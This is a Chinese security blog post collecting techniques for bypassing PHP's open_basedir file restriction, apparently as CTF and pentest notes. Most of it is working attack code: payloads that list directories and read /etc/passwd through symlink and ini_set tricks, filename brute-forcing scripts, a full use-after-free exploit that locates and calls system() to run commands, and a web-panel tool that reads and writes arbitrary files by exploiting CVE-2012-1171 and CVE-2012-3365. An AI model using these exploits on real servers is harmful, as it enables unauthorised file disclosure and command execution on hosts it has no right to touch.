HacKerQWQ的博客空间

open_basedir方法总结

Word count: 4.4kReading time: 25 min
2021/11/09 Share

open_basedir简介

当php.ini设置了open_basedir的时候,所有读取文件、跨目录读取的操作都应该限制在open_basedir中,设置如下

1
2
3
4
# linux写法
open_basedir = /var/www/html:/tmp
# windows写法
open_basedir = c:/www;c:/windows/temp

当尝试读取限制之外的目录或者文件时,会出现以下提示

image-20211109111950092

open_basedir绕过方法

部分参考p神博客,部分其他文章

https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html#0x02-directoryiterator-glob

利用DirectoryIterator + Glob 直接列举目录

原理

DirectoryIterator 是php5中增加的一个类,为用户提供一个简单的查看目录的接口(The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories)。

glob是数据流包装器,php5.3.0起用,用于匹配文件路径

当DirectoryIterator与glob结合使用的时候可以绕过open_basedir读目录

前提条件

  1. 版本大于PHP5.3.0
  2. Linux环境

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
?>

这样就可以列举根目录下的文件

image-20211109113705718

symlink软链接读文件

原理

symlink用于建立target的符号连接

image-20211109172227374

如我们欲读取/etc/passwd。其实原理就是创建一个链接文件x,用相对路径指向a/a/a/a,再创建一个链接文件exp指向x/../../../etc/passwd。其实指向的就是a/a/a/a/../../../etc/passwd,其实就是./etc/passwd。这时候删除x,再创建一个x目录,但exp还是指向x/../../../etc/passwd,所以就成功跨到/etc/passwd了。

精华就是这四句:

1
2
3
4
5
<?php
symlink("abc/abc/abc/abc","tmplink");
symlink("tmplink/../../../etc/passwd", "exploit");
unlink("tmplink");
mkdir("tmplink");

利用前提

  • 针对 Windows:运行 PHP 于Vista、Server 2008 或更高版本才能正常使用
  • linux可用

payload

1
2
3
4
5
<?php
symlink("abc/abc/abc/abc","tmplink");
symlink("tmplink/../../../etc/passwd", "exploit");
unlink("tmplink");
mkdir("tmplink");

访问/exploit即可访问到/etc/passwd

image-20211109172650832

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
mkdir($paths[$i]);
chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
mkdir($name);
chdir($name);
$j++;
}
for ($i = 0; $i <= $j; $i++) {
chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);

$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;

foreach($from as $depth => $dir) {
// find first non-matching dir
if($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}

function delfile($deldir){
if (@is_file($deldir)) {
@chmod($deldir,0777);
return @unlink($deldir);
}else if(@is_dir($deldir)){
if(($mydir = @opendir($deldir)) == NULL) return false;
while(false !== ($file = @readdir($mydir)))
{
$name = File_Str($deldir.'/'.$file);
if(($file!='.') && ($file!='..')){delfile($name);}
}
@closedir($mydir);
@chmod($deldir,0777);
return @rmdir($deldir) ? true : false;
}
}

function File_Str($string)
{
return str_replace('//','/',str_replace('\\','/',$string));
}

function getRandStr($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randStr = '';
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $randStr;
}

ini_set读取文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
mkdir('tmpdir');
chdir('tmpdir');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
$a=file_get_contents('/etc/passwd');
var_dump($a);
?>

根据实际情况增加..数量

realpath列目录

原理

Realpath函数是php中将一个路径规范化成为绝对路径的方法,它可以去掉多余的../或./等跳转字符,能将相对路径转换成绝对路径。

当开启open_basedir之后,如果文件存在,就显示文件不在open_basedir中,如果文件不存在就进入err_handle(),因此可以靠这个来猜解文件名

前提条件

  1. Windows环境

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
realpath($file);
}
function isexists($errno, $errstr)
{
$regexp = '/File\((.*)\) is not within/';
preg_match($regexp, $errstr, $matches);
if (isset($matches[1])) {
printf("%s <br/>", $matches[1]);
}
}
?>

image-20211109122517558

SplFileInfo列目录

原理

当用文件的相对路径调用SplFileInfo构造函数后,调用getRealPath方法即可获得文件的绝对路径,不受open_basedir的影响

前提条件

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
$basedir = 'D:/test/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) {
$info = new SplFileInfo($basedir . $chars[$i] . '<><');
$re = $info->getRealPath();
if ($re) {
dump($re);
}
}
function dump($s){
echo $s . '<br/>';
ob_flush();
flush();
}
?>

image-20211109164202651

GD库imageftbbox/imagefttext列举目录

原理

GD库一般是PHP必备的扩展库之一,imageftbbox或者imagefttext这个函数第三个参数是字体的路径。当这个参数在open_basedir外的时候,当文件存在,则php会抛出“File(xxxxx) is not within the allowed path(s)”错误。但当文件不存在的时候会抛出“Invalid font filename”错误。

前提条件

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
//$m = imagecreatefrompng("zip.png");
//imagefttext($m, 100, 0, 10, 20, 0xffffff, $file, 'aaa');
imageftbbox(100, 100, $file, 'aaa');
}
function isexists($errno, $errstr)
{
global $file;
if (stripos($errstr, 'Invalid font filename') === FALSE) {
printf("%s<br/>", $file);
}
}
?>

复测不成功

bindtextdomain猜解目录

原理

bintextdomain函数的作用是将域名捆绑到目录,其中第二个参数目录可以绕过open_basedir,这个函数第二个参数$directory是一个文件路径。它会在$directory存在的时候返回$directory,不存在则返回false。

image-20211109165842355

利用条件

  • linux环境

payload

1
2
3
4
5
6
<?php
ini_set('open_basedir',dirname(__FILE__));
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
?>

image-20211109170357555

uaf读取文件

只能用于*nix环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

例题:ctfshow72

image-20211109174640696

图形化脚本

利用glob://协议的bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
<?php
/*
PHP open_basedir bypass collection
Works with >= PHP5
By /fd, @filedescriptor(https://twitter.com/filedescriptor)
*/

// Assistant functions
function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);

$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;

foreach ($from as $depth => $dir) {
// find first non-matching dir
if ($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if ($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}

function fallback($classes) {
foreach ($classes as $class) {
$object = new $class;
if ($object->isAvailable()) {
return $object;
}
}
return new NoExploit;
}

// Core classes
interface Exploitable {
function isAvailable();
function getDescription();
}

class NoExploit implements Exploitable {
function isAvailable() {
return true;
}
function getDescription() {
return 'No exploit is available.';
}
}

abstract class DirectoryLister implements Exploitable {
var $currentPath;

function isAvailable() {}
function getDescription() {}
function getFileList() {}
function setCurrentPath($currentPath) {
$this->currentPath = $currentPath;
}
function getCurrentPath() {
return $this->currentPath;
}
}

class GlobWrapperDirectoryLister extends DirectoryLister {
function isAvailable() {
return stripos(PHP_OS, 'win') === FALSE && in_array('glob', stream_get_wrappers());
}
function getDescription() {
return 'Directory listing via glob pattern';
}
function getFileList() {
$file_list = array();
// normal files
$it = new DirectoryIterator("glob://{$this->getCurrentPath()}*");
foreach ($it as $f) {
$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob://{$this->getCurrentPath()}.*");
foreach ($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
return $file_list;
}
}

class RealpathBruteForceDirectoryLister extends DirectoryLister {
var $characters = 'abcdefghijklmnopqrstuvwxyz0123456789-_'
, $extension = array()
, $charactersLength = 38
, $maxlength = 3
, $fileList = array();

function isAvailable() {
return ini_get('open_basedir') && function_exists('realpath');
}
function getDescription() {
return 'Directory listing via brute force searching with realpath function.';
}
function setCharacters($characters) {
$this->characters = $characters;
$this->charactersLength = count($characters);
}
function setExtension($extension) {
$this->extension = $extension;
}
function setMaxlength($maxlength) {
$this->maxlength = $maxlength;
}
function getFileList() {
set_time_limit(0);
set_error_handler(array(__CLASS__, 'handler'));
$number_set = array();
while (count($number_set = $this->nextCombination($number_set, 0)) <= $this->maxlength) {
$this->searchFile($number_set);
}
sort($this->fileList);
return $this->fileList;
}
function nextCombination($number_set, $length) {
if (!isset($number_set[$length])) {
$number_set[$length] = 0;
return $number_set;
}
if ($number_set[$length] + 1 === $this->charactersLength) {
$number_set[$length] = 0;
$number_set = $this->nextCombination($number_set, $length + 1);
} else {
$number_set[$length]++;
}
return $number_set;
}
function searchFile($number_set) {
$file_name = 'a';
foreach ($number_set as $key => $value) {
$file_name[$key] = $this->characters[$value];
}
// normal files
realpath($this->getCurrentPath() . $file_name);
// files with preceeding dot
realpath($this->getCurrentPath() . '.' . $file_name);
// files with extension
foreach ($this->extension as $extension) {
realpath($this->getCurrentPath() . $file_name . $extension);
}
}
function handler($errno, $errstr, $errfile, $errline) {
$regexp = '/File\((.*)\) is not within/';
preg_match($regexp, $errstr, $matches);
if (isset($matches[1])) {
$this->fileList[] = $matches[1];
}

}
}

abstract class FileWriter implements Exploitable {
var $filePath;

function isAvailable() {}
function getDescription() {}
function write($content) {}
function setFilePath($filePath) {
$this->filePath = $filePath;
}
function getFilePath() {
return $this->filePath;
}
}

abstract class FileReader implements Exploitable {
var $filePath;

function isAvailable() {}
function getDescription() {}
function read() {}
function setFilePath($filePath) {
$this->filePath = $filePath;
}
function getFilePath() {
return $this->filePath;
}
}

// Assistant class for DOMFileWriter & DOMFileReader
class StreamExploiter {
var $mode, $filePath, $fileContent;

function stream_close() {
$doc = new DOMDocument;
$doc->strictErrorChecking = false;
switch ($this->mode) {
case 'w':
$doc->loadHTML($this->fileContent);
$doc->removeChild($doc->firstChild);
$doc->saveHTMLFile($this->filePath);
break;
default:
case 'r':
$doc->resolveExternals = true;
$doc->substituteEntities = true;
$doc->loadXML("<!DOCTYPE doc [<!ENTITY file SYSTEM \"file://{$this->filePath}\">]><doc>&file;</doc>", LIBXML_PARSEHUGE);
echo $doc->documentElement->firstChild->nodeValue;
}
}
function stream_open($path, $mode, $options, &$opened_path) {
$this->filePath = substr($path, 10);
$this->mode = $mode;
return true;
}
public function stream_write($data) {
$this->fileContent = $data;
return strlen($data);
}
}

class DOMFileWriter extends FileWriter {
function isAvailable() {
return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10', '<=') || version_compare(phpversion(), '5.4.0', '='));
}
function getDescription() {
return 'Write to and create a file exploiting CVE-2012-1171 (allow overriding). Notice the content should be in well-formed XML format.';
}
function write($content) {
// set it to global resource in order to trigger RSHUTDOWN
global $_DOM_exploit_resource;
stream_wrapper_register('exploit', 'StreamExploiter');
$_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", 'w');
fwrite($_DOM_exploit_resource, $content);
}
}

class DOMFileReader extends FileReader {
function isAvailable() {
return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10', '<=') || version_compare(phpversion(), '5.4.0', '='));
}
function getDescription() {
return 'Read a file exploiting CVE-2012-1171. Notice the content should be in well-formed XML format.';
}
function read() {
// set it to global resource in order to trigger RSHUTDOWN
global $_DOM_exploit_resource;
stream_wrapper_register('exploit', 'StreamExploiter');
$_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", 'r');
}
}

class SqliteFileWriter extends FileWriter {
function isAvailable() {
return is_writable(getcwd())
&& (extension_loaded('sqlite3') || extension_loaded('sqlite'))
&& (version_compare(phpversion(), '5.3.15', '<=') || (version_compare(phpversion(), '5.4.5', '<=') && PHP_MINOR_VERSION == 4));
}
function getDescription() {
return 'Create a file with custom content exploiting CVE-2012-3365 (disallow overriding). Junk contents may be inserted';
}
function write($content) {
$sqlite_class = extension_loaded('sqlite3') ? 'sqlite3' : 'SQLiteDatabase';
mkdir(':memory:');
$payload_path = getRelativePath(getcwd() . '/:memory:', $this->getFilePath());
$payload = str_replace('\'', '\'\'', $content);
$database = new $sqlite_class(":memory:/{$payload_path}");
$database->exec("CREATE TABLE foo (bar STRING)");
$database->exec("INSERT INTO foo (bar) VALUES ('{$payload}')");
$database->close();
rmdir(':memory:');
}
}

// End of Core
?>
<?php
$action = isset($_GET['action']) ? $_GET['action'] : '';
$cwd = isset($_GET['cwd']) ? $_GET['cwd'] : getcwd();
$cwd = rtrim($cwd, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
$directorLister = fallback(array('GlobWrapperDirectoryLister', 'RealpathBruteForceDirectoryLister'));
$fileWriter = fallback(array('DOMFileWriter', 'SqliteFileWriter'));
$fileReader = fallback(array('DOMFileReader'));
$append = '';
?>
<style>
#panel {
height: 200px;
overflow: hidden;
}
#panel > pre {
margin: 0;
height: 200px;
}
</style>
<div id="panel">
<pre id="dl">
open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
<form style="display:inline-block" action="">
<fieldset><legend>Directory Listing:</legend>Current Directory: <input name="cwd" size="100" value="<?php echo $cwd; ?>"><input type="submit" value="Go">
<?php if (get_class($directorLister) === 'RealpathBruteForceDirectoryLister'): ?>
<?php
$characters = isset($_GET['characters']) ? $_GET['characters'] : $directorLister->characters;
$maxlength = isset($_GET['maxlength']) ? $_GET['maxlength'] : $directorLister->maxlength;
$append = "&characters={$characters}&maxlength={$maxlength}";

$directorLister->setMaxlength($maxlength);
?>
Search Characters: <input name="characters" size="100" value="<?php echo $characters; ?>">
Maxlength of File: <input name="maxlength" size="1" value="<?php echo $maxlength; ?>">
<?php endif;?>
Description : <strong><?php echo $directorLister->getDescription(); ?></strong>
</fieldset>
</form>
</pre>
<?php
$file_path = isset($_GET['file_path']) ? $_GET['file_path'] : '';
?>
<pre id="rf">
open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
<form style="display:inline-block" action="">
<fieldset><legend>Read File :</legend>File Path: <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Read">
Description: <strong><?php echo $fileReader->getDescription(); ?></strong><input type="hidden" name="action" value="rf">
</fieldset>
</form>
</pre>
<pre id="wf">
open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
<form style="display:inline-block" action="">
<fieldset><legend>Write File :</legend>File Path : <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Write">
File Content: <textarea cols="70" name="content"></textarea>
Description : <strong><?php echo $fileWriter->getDescription(); ?></strong><input type="hidden" name="action" value="wf">
</fieldset>
</form>
</pre>
</div>
<a href="#dl">Directory Listing</a> | <a href="#rf">Read File</a> | <a href="#wf">Write File</a>
<hr>
<pre>
<?php if ($action === 'rf'): ?>
<plaintext>
<?php
$fileReader->setFilePath($file_path);
echo $fileReader->read();
?>
<?php elseif ($action === 'wf'): ?>
<?php
if (isset($_GET['content'])) {
$fileWriter->setFilePath($file_path);
$fileWriter->write($_GET['content']);
echo 'The file should be written.';
} else {
echo 'Something goes wrong.';
}
?>
<?php else: ?>
<ol>
<?php
$directorLister->setCurrentPath($cwd);
$file_list = $directorLister->getFileList();
$parent_path = dirname($cwd);

echo "<li><a href='?cwd={$parent_path}{$append}#dl'>Parent</a></li>";
if (count($file_list) > 0) {
foreach ($file_list as $file) {
echo "<li><a href='?cwd={$cwd}{$file}{$append}#dl'>{$file}</a></li>";
}
} else {
echo 'No files found. The path is probably not a directory.';
}
?>
</ol>
<?php endif;?>

image-20211109173836516

CATALOG
  1. 1. open_basedir简介
  2. 2. open_basedir绕过方法
    1. 2.1. 利用DirectoryIterator + Glob 直接列举目录
      1. 2.1.1. 原理
      2. 2.1.2. 前提条件
      3. 2.1.3. payload
    2. 2.2. symlink软链接读文件
      1. 2.2.1. 原理
      2. 2.2.2. 利用前提
      3. 2.2.3. payload
      4. 2.2.4. 脚本
    3. 2.3. ini_set读取文件内容
    4. 2.4. realpath列目录
      1. 2.4.1. 原理
      2. 2.4.2. 前提条件
      3. 2.4.3. payload
    5. 2.5. SplFileInfo列目录
      1. 2.5.1. 原理
      2. 2.5.2. 前提条件
      3. 2.5.3. payload
    6. 2.6. GD库imageftbbox/imagefttext列举目录
      1. 2.6.1. 原理
      2. 2.6.2. 前提条件
      3. 2.6.3. payload
    7. 2.7. bindtextdomain猜解目录
      1. 2.7.1. 原理
      2. 2.7.2. 利用条件
      3. 2.7.3. payload
    8. 2.8. uaf读取文件
    9. 2.9. 图形化脚本